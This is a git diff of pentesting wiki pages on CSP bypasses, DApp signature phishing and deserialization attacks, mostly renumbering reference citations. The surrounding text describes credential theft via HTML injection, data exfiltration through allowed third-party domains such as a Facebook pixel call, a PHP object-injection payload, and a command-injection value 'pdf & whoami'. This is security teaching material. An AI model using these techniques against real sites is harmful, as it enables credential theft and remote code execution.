+Even if the page uses a **very strict CSP** such as `default-src 'none'; script-src 'none'; style-src 'none'; img-src 'none'; connect-src 'none'; frame-src 'none'; form-action 'self'`, a **reflected HTML injection** in a login page can still steal saved credentials **without JavaScript**:
1. Inject a fake login form in the trusted origin:
@@ -219,11 +219,11 @@ Even if the page uses a **very strict CSP** such as `default-src 'none'; script-
```
-This is useful when `form-action 'self'` blocks direct submission to an attacker-controlled domain: the victim first submits to the **same origin**, then the reflected page immediately **redirects** cross-origin and leaks the full previous URL via `Referer`.
+This is useful when `form-action 'self'` blocks direct submission to an attacker-controlled domain: the victim first submits to the **same origin**, then the reflected page immediately **redirects** cross-origin and leaks the full previous URL via `Referer`.[[6]](#references)
**Notes:**
-- `strict-origin-when-cross-origin` is the modern default referrer policy, so attackers often need to **inject** a weaker policy such as `unsafe-url` to include path and query string cross-origin.[[11]](#references)
+- `strict-origin-when-cross-origin` is the modern default referrer policy, so attackers often need to **inject** a weaker policy such as `unsafe-url` to include path and query string cross-origin.[[7]](#references)
- `` is attractive in HTML-only exploits because it doesn't require JavaScript and often survives CSPs that only restrict scripts/connections.
- If inline CSS is allowed, an invisible full-page submit button can turn this into an **any-click** attack:
@@ -275,7 +275,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
-> The post shows that you could **load** all **libraries** from `cdn.cloudflare.com` (or any other allowed JS libraries repo), execute all added functions from each library, and check **which functions from which libraries return the `window` object**.
+> The post shows that you could **load** all **libraries** from `cdn.cloudflare.com` (or any other allowed JS libraries repo), execute all added functions from each library, and check **which functions from which libraries return the `window` object**.[[8]](#references)
```html
@@ -311,7 +311,7 @@ Angular XSS from a class name:
#### Abusing google recaptcha JS code
-According to [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) you can abuse [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) inside a CSP to execute arbitrary JS code bypassing the CSP:[[13]](#references)
+According to [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) you can abuse [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) inside a CSP to execute arbitrary JS code bypassing the CSP:[[9]](#references)[[35]](#references)
```html
```
-More [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):[[14]](#references)
+More [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):[[3]](#references)
```html
@@ -345,7 +345,7 @@ More [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-by
#### Abusing www.google.com for open redirect
-The following URL redirects to example.com (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):[[15]](#references)
+The following URL redirects to example.com (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):[[10]](#references)
```
https://www.google.com/amp/s/example.com/
@@ -353,7 +353,7 @@ https://www.google.com/amp/s/example.com/
Abusing \*.google.com/script.google.com
-It's possible to abuse Google Apps Script to receive information in a page inside script.google.com. Like it's [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).[[16]](#references)
+It's possible to abuse Google Apps Script to receive information in a page inside script.google.com. Like it's [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).[[11]](#references)
### Third Party Endpoints + JSONP
@@ -361,7 +361,7 @@ It's possible to abuse Google Apps Script to receive information in a page insid
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
-Scenarios like this where `script-src` is set to `self` and a particular domain which is whitelisted can be bypassed using JSONP. JSONP endpoints allow insecure callback methods which allow an attacker to perform XSS, working payload:
+Scenarios like this where `script-src` is set to `self` and a particular domain which is whitelisted can be bypassed using JSONP. JSONP endpoints allow insecure callback methods which allow an attacker to perform XSS, working payload:[[12]](#references)
```html
">
@@ -383,7 +383,7 @@ The same vulnerability will occur if the **trusted endpoint contains an Open Red
### Third Party Abuses
-As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), there are many third party domains, that might be allowed somewhere in the CSP, can be abused to either exfiltrate data or execute JavaScript code. Some of these third-parties are:[[17]](#references)
+As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), there are many third party domains, that might be allowed somewhere in the CSP, can be abused to either exfiltrate data or execute JavaScript code.[[13]](#references) Some of these third-parties are:
| Entity | Allowed Domain | Capabilities |
| ----------------- | -------------------------------------------- | ------------ |
@@ -410,7 +410,7 @@ or
Content-Security-Policy: connect-src www.facebook.com;
```
-You should be able to exfiltrate data, similarly as it has always be done with [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In this case, you follow these general steps:
+You should be able to exfiltrate data, similarly as it has always be done with [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/).[[14]](#references)[[15]](#references) In this case, you follow these general steps:
1. Create a Facebook Developer account here.
2. Create a new "Facebook Login" app and select "Website".
@@ -428,7 +428,7 @@ fbq('trackCustom', 'My-Custom-Event',{
});
```
-As for the other seven third-party domains specified in the previous table, there are many other ways you can abuse them. Refer to the previously [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) for additional explanations about other third-party abuses.
+As for the other seven third-party domains specified in the previous table, there are many other ways you can abuse them. Refer to the previously [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) for additional explanations about other third-party abuses.[[13]](#references)
### Bypass via RPO (Relative Path Overwrite)
@@ -446,7 +446,7 @@ This works because for the browser, you are loading a file named `..%2fangular%2
∑, they will decode it, effectively requesting `https://example.com/scripts/react/../angular/angular.js`, which is equivalent to `https://example.com/scripts/angular/angular.js`.
-By **exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed**.
+By **exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed**.[[16]](#references)
The solution is to not treat `%2f` as `/` on the server-side, ensuring consistent interpretation between the browser and the server to avoid this issue.
@@ -461,7 +461,7 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
### missing **base-uri**
-If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
+If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).[[16]](#references)
Moreover, if the **page is loading a script using a relative path** (like `` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
-For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)[[30]](#references)
+For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)[[31]](#references)
## CSP Exfiltration Bypasses
-If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.
+If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.[[32]](#references)
### Location
@@ -894,39 +894,41 @@ navigator.credentials.store(
## References
-- [1] [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
-- [2] [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
-- [3] [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
-- [4] [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
-- [5] [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
-- [6] [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
-- [7] [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
-- [8] [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
-- [9] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
-- [10] [Stealing Passwords via HTML Injection Under a Strict CSP](https://afine.com/blogs/stealing-passwords-via-html-injection-under-a-strict-csp)
-- [11] [MDN: Referrer-Policy header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy)
-- [12] [Stealing passwords from Infosec Mastodon without bypassing CSP](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)
-- [13] [Google Zer0pts / Imaginary CTF 2023 writeup (reCAPTCHA CSP bypass)](https://blog.huli.tw/2023/07/28/en/google-zer0pts-imaginary-ctf-2023-writeup/)
-- [14] [CSP bypass on portswigger.net using Google script resources](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/)
-- [15] [We Hacked Google A.I. for $50000 (google.com open redirect)](https://www.landh.tech/blog/20240304-google-hack-50000/)
-- [16] [Google Bard data exfiltration (Apps Script)](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)
-- [17] [Dress Code: analysis of allowed domains for CSP bypass (SensePost)](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)
-- [18] [H5SC Minichallenge 3: "Sh*t, it's CSP!" (cure53)](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)
-- [19] [x-oracle CTF writeup - img-src CSP exfiltration (ka0labs)](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
-- [20] [Hiding JavaScript in PNG - CSP bypass (secjuice)](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
-- [21] [Bypassing CSP with policy injection](https://portswigger.net/research/bypassing-csp-with-policy-injection)
-- [22] [CSP Bypass Unveiled: The Hidden Threat of Bookmarklets (SOCRadar)](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)
-- [23] [Google CTF 2023 web-biohazard solution](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)
-- [24] [ctf-writeups #48 - restricting CSP via HTML injection (aszx87410)](https://github.com/aszx87410/ctf-writeups/issues/48)
-- [25] [TSJ CTF 2022 - Nim Notes (CSP report-only exfiltration)](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)
-- [26] [Leaking information with CSP and iframe (CTFtime writeup)](https://ctftime.org/writeup/29310)
-- [27] [CSP bypass via PHP errors (video)](https://www.youtube.com/watch?v=Sm4G6cAHjWM)
-- [28] [justCTF 2020 - Baby CSP writeup (terjanq)](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)
-- [29] [CSP bypass by rewriting error page (blog.ssrf.kr)](https://blog.ssrf.kr/69)
-- [30] [Bypass CSP using WordPress by abusing Same-Origin Method Execution (Octagon)](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
-
-
+- [1] [CSP – The How and Why of a Content Security Policy (HackDefense)](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
+- [2] [CSP Cheat Sheet – allowed data scheme (0xn3va)](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
+- [3] [CSP bypass on portswigger.net using Google script resources (joaxcar.com)](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/)
+- [4] [Content Security Policy (CSP) Bypass Techniques (bhavesh-thakur)](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
+- [5] [Stealing Passwords from Infosec Mastodon Without Bypassing CSP (PortSwigger Research)](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)
+- [6] [Stealing Passwords via HTML Injection Under a Strict CSP](https://afine.com/blogs/stealing-passwords-via-html-injection-under-a-strict-csp)
+- [7] [MDN: Referrer-Policy header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy)
+- [8] [AngularJS CSP bypass via cdnjs (blog.huli.tw)](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)
+- [9] [Google zer0pts / ImaginaryCTF 2023 writeup – reCAPTCHA CSP bypass](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves)
+- [10] [Bug bounty: how I made $50,000 from Google (landh.tech)](https://www.landh.tech/blog/20240304-google-hack-50000/)
+- [11] [Google Bard data exfiltration via Apps Script (embracethered.com)](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)
+- [12] [Weaponized Google OAuth triggers malicious WebSocket (cside.dev)](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
+- [13] [Dress Code: The Talk – third-party domain abuse (SensePost)](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)
+- [14] [Exfiltrating users' private data using Google Analytics to bypass CSP (HUMAN Security)](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)
+- [15] [CSP bypass via Google Tag Manager (deteact.com)](https://blog.deteact.com/csp-bypass/)
+- [16] [Beyond XSS – Chapter 2: CSP Bypass (aszx87410)](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
+- [17] [H5SC Minichallenge 3: "Sh*t, it's CSP!" (cure53 XSSChallengeWiki)](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)
+- [18] [CSP Level 2 spec – Paths and Redirects (W3C)](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)
+- [19] [x-oracle CTF writeup (ka0labs)](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
+- [20] [Hiding JavaScript inside PNG files to bypass CSP (secjuice.com)](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+- [21] [Bypassing CSP with Policy Injection (PortSwigger Research)](https://portswigger.net/research/bypassing-csp-with-policy-injection)
+- [22] [CSP bypass unveiled: the hidden threat of bookmarklets (socradar.io)](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)
+- [23] [Google CTF 2023 – Web Biohazard solution (GitHub)](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)
+- [24] [CTF writeups – Issue 48: restricting CSP via HTML injection (aszx87410)](https://github.com/aszx87410/ctf-writeups/issues/48)
+- [25] [TSJ CTF 2022 – Nim Notes challenge (maple3142)](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)
+- [26] [CTFtime writeup 29310](https://ctftime.org/writeup/29310)
+- [27] [PHP header() bypass via too many parameters (YouTube talk)](https://www.youtube.com/watch?v=Sm4G6cAHjWM)
+- [28] [justCTF 2020 writeup – Baby CSP (hackmd.io)](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)
+- [29] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
+- [30] [CSP bypass by rewriting an error page (blog.ssrf.kr)](https://blog.ssrf.kr/69)
+- [31] [Bypassing CSP via a WordPress SOME attack (octagon.net)](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
+- [32] [lcamtuf's Postxss – exfiltration techniques under strict CSP](https://lcamtuf.coredump.cx/postxss/)
+- [33] [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
+- [34] [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
+- [35] [Google Zer0pts / Imaginary CTF 2023 writeup (reCAPTCHA CSP bypass)](https://blog.huli.tw/2023/07/28/en/google-zer0pts-imaginary-ctf-2023-writeup/)
+- [36] [cure53/XSSChallengeWiki](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it)
{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/pentesting-web/dapps-DecentralizedApplications.md b/src/pentesting-web/dapps-DecentralizedApplications.md
index 3aa7ce723af..ba9697f84a4 100644
--- a/src/pentesting-web/dapps-DecentralizedApplications.md
+++ b/src/pentesting-web/dapps-DecentralizedApplications.md
@@ -78,8 +78,8 @@ When reviewing a DApp, treat the wallet connection layer exactly like an authent
In many DApps, the most dangerous action is no longer an on-chain `approve`, but an off-chain signature that a relayer or router later cashes in.
-- **`permit` / signature approvals**: ERC-2612 allows changing `allowance` with a signed message. That means a phishing page or a compromised frontend can ask the victim to sign an approval that is later submitted by any relayer.
-- **Relayer optionality**: the ERC-2612 spec explicitly notes that a relayer gets a free option to submit or withhold a signed permit until `deadline`, so backend workflows that assume "signature received == action already happened" are wrong.
+- **`permit` / signature approvals**: ERC-2612 allows changing `allowance` with a signed message. That means a phishing page or a compromised frontend can ask the victim to sign an approval that is later submitted by any relayer.[[4]](#references)
+- **Relayer optionality**: the ERC-2612 spec explicitly notes that a relayer gets a free option to submit or withhold a signed permit until `deadline`, so backend workflows that assume "signature received == action already happened" are wrong.[[4]](#references)
- **Typed-data UX gaps**: wallets may render the domain and field names but still fail to explain the actual effect of the signature, especially when nested calldata, routers, or multicalls are involved.
- **Permit-drainer pattern**: instead of asking for a visible `approve`, drainers increasingly prefer typed-data signatures that authorize a spender or relay path, because they are faster, cheaper, and less suspicious to the victim.
@@ -137,9 +137,9 @@ Keep this page generic, but note that account-abstraction-specific bugs are cove
## References
-- [1] [Web2 Meets Web3: Hacking Decentralized Applications](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications)
-- [2] [EIP-6963: Multi Injected Provider Discovery](https://eips.ethereum.org/EIPS/eip-6963)
-- [3] [Protect users from phishing with WalletConnect Verify API for web3 apps and wallets](https://walletconnect.com/blog/protect-users-from-phishing-with-walletconnect-verify-api-for-web3-apps-and-wallets)
-
+- [1] [CertiK – Web2 Meets Web3: Hacking Decentralized Applications](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications)
+- [2] [EIP-6963 – Multi Injected Provider Discovery](https://eips.ethereum.org/EIPS/eip-6963)
+- [3] [WalletConnect – Protect Users from Phishing with the WalletConnect Verify API](https://walletconnect.com/blog/protect-users-from-phishing-with-walletconnect-verify-api-for-web3-apps-and-wallets)
+- [4] [EIP-2612 – permit: 712-signed approvals](https://eips.ethereum.org/EIPS/eip-2612)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md
index 2ee808470f9..02a1265273b 100644
--- a/src/pentesting-web/deserialization/README.md
+++ b/src/pentesting-web/deserialization/README.md
@@ -92,7 +92,7 @@ If you look to the results you can see that the functions **`__wakeup`** and **`
> }
> ```
-You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
+You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)[[1]](#references)[[2]](#references)[[3]](#references)
### PHP Deserial + Autoload Classes
@@ -154,7 +154,7 @@ If **`allowed_classes` is omitted _or_ the code runs on PHP < 7.0**, the call be
#### Real-world example: Everest Forms (WordPress) CVE-2025-52709
-The WordPress plugin **Everest Forms ≤ 3.2.2** tried to be defensive with a helper wrapper but forgot about legacy PHP versions:
+The WordPress plugin **Everest Forms ≤ 3.2.2** tried to be defensive with a helper wrapper but forgot about legacy PHP versions:[[4]](#references)
```php
function evf_maybe_unserialize($data, $options = array()) {
@@ -177,7 +177,7 @@ On servers that still ran **PHP ≤ 7.0** this second branch led to a classic **
O:8:"SomeClass":1:{s:8:"property";s:28:"";}
```
-As soon as the admin viewed the entry, the object was instantiated and `SomeClass::__destruct()` got executed, resulting in arbitrary code execution.[[15]](#references)
+As soon as the admin viewed the entry, the object was instantiated and `SomeClass::__destruct()` got executed, resulting in arbitrary code execution.
**Take-aways**
1. Always pass `['allowed_classes' => false]` (or a strict white-list) when calling `unserialize()`.
@@ -249,7 +249,7 @@ python-yaml-deserialization.md
JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\
If abusing a deserialization you can **compromise these functions to execute other code** (potentially abusing prototype pollutions) you could execute arbitrary code when they are called.
-Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._
+Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._[[5]](#references)
```javascript
// If you can compromise p (returned object) to be a promise
@@ -338,7 +338,7 @@ var test =
serialize.unserialize(test)
```
-You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability.[[39]](#references)
+You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability.[[6]](#references)
### [funcster](https://www.npmjs.com/package/funcster)
@@ -368,7 +368,7 @@ var desertest3 = {
funcster.deepDeserialize(desertest3)
```
-**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**[[40]](#references)
+**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**[[7]](#references)
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
@@ -396,14 +396,14 @@ var test =
deserialize(test)
```
-**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**[[40]](#references)
+**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**[[7]](#references)
### Cryo library
-In the following pages you can find information about how to abuse this library to execute arbitrary commands:[[40]](#references)[[41]](#references)
+In the following pages you can find information about how to abuse this library to execute arbitrary commands:[[7]](#references)[[8]](#references)
-- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
-- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
+- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)[[7]](#references)
+- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)[[8]](#references)
### React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
@@ -412,7 +412,7 @@ React Server Components (RSC) rely on `react-server-dom-webpack` (RSDW) to decod
- `$ACTION_REF_` parts that reference the action being invoked.
- `$ACTION_:` parts whose body is JSON such as `{"id":"module-path#export","bound":[arg0,arg1,...]}`.
-In version **19.2.0** the `decodeAction(formData, serverManifest)` helper blindly trusts both the **`id` string** (selecting which module export to call) and the **`bound` array** (the arguments). If an attacker can reach the endpoint that forwards requests to `decodeAction`, they can invoke any exported server action with attacker-controlled parameters even without a React front-end (CVE-2025-55182).[[38]](#references) The end-to-end recipe is:
+In version **19.2.0** the `decodeAction(formData, serverManifest)` helper blindly trusts both the **`id` string** (selecting which module export to call) and the **`bound` array** (the arguments). If an attacker can reach the endpoint that forwards requests to `decodeAction`, they can invoke any exported server action with attacker-controlled parameters even without a React front-end (CVE-2025-55182). The end-to-end recipe is:
1. **Learn the action identifier.** Bundle output, error traces or leaked manifests typically reveal strings like `app/server-actions#generateReport`.
2. **Recreate the multipart payload.** Craft a `$ACTION_REF_0` part and a `$ACTION_0:0` JSON body carrying the identifier and arbitrary arguments.
@@ -459,7 +459,7 @@ async function generateReport(project, format) {
Supplying `format = "pdf & whoami"` makes `/bin/sh -c` run the legitimate report generator and then `whoami`, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the `bound` data.
-An attacker never needs a real React client—any HTTP tool that emits the `$ACTION_*` multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.
+An attacker never needs a real React client—any HTTP tool that emits the `$ACTION_*` multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.[[9]](#references)
## Java - HTTP
@@ -504,7 +504,7 @@ If you want to **learn about how does a Java Deserialized exploit work** you sho
#### SignedObject-gated deserialization and pre-auth reachability
-Modern codebases sometimes wrap deserialization with `java.security.SignedObject` and validate a signature before calling `getObject()` (which deserializes the inner object). This prevents arbitrary top-level gadget classes but can still be exploitable if an attacker can obtain a valid signature (e.g., private-key compromise or a signing oracle). Additionally, error-handling flows may mint session-bound tokens for unauthenticated users, exposing otherwise protected sinks pre-auth.
+Modern codebases sometimes wrap deserialization with `java.security.SignedObject` and validate a signature before calling `getObject()` (which deserializes the inner object). This prevents arbitrary top-level gadget classes but can still be exploitable if an attacker can obtain a valid signature (e.g., private-key compromise or a signing oracle). Additionally, error-handling flows may mint session-bound tokens for unauthenticated users, exposing otherwise protected sinks pre-auth.[[10]](#references)
For a concrete case study with requests, IoCs, and hardening guidance, see:
@@ -514,7 +514,7 @@ java-signedobject-gated-deserialization.md
#### White Box Test
-You can check if there is installed any application with known vulnerabilities.
+You can check if there is installed any application with known vulnerabilities.[[11]](#references)
```bash
find . -iname "*commons*collection*"
@@ -523,20 +523,20 @@ grep -R InvokeTransformer .
You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\
-When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**.
+When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**.[[12]](#references)[[13]](#references)
#### Black Box Test
Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\
[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
-GadgetProbe is focused on **`ObjectInputStream` deserializations**.
+GadgetProbe is focused on **`ObjectInputStream` deserializations**.[[14]](#references)[[15]](#references)
Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\
[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
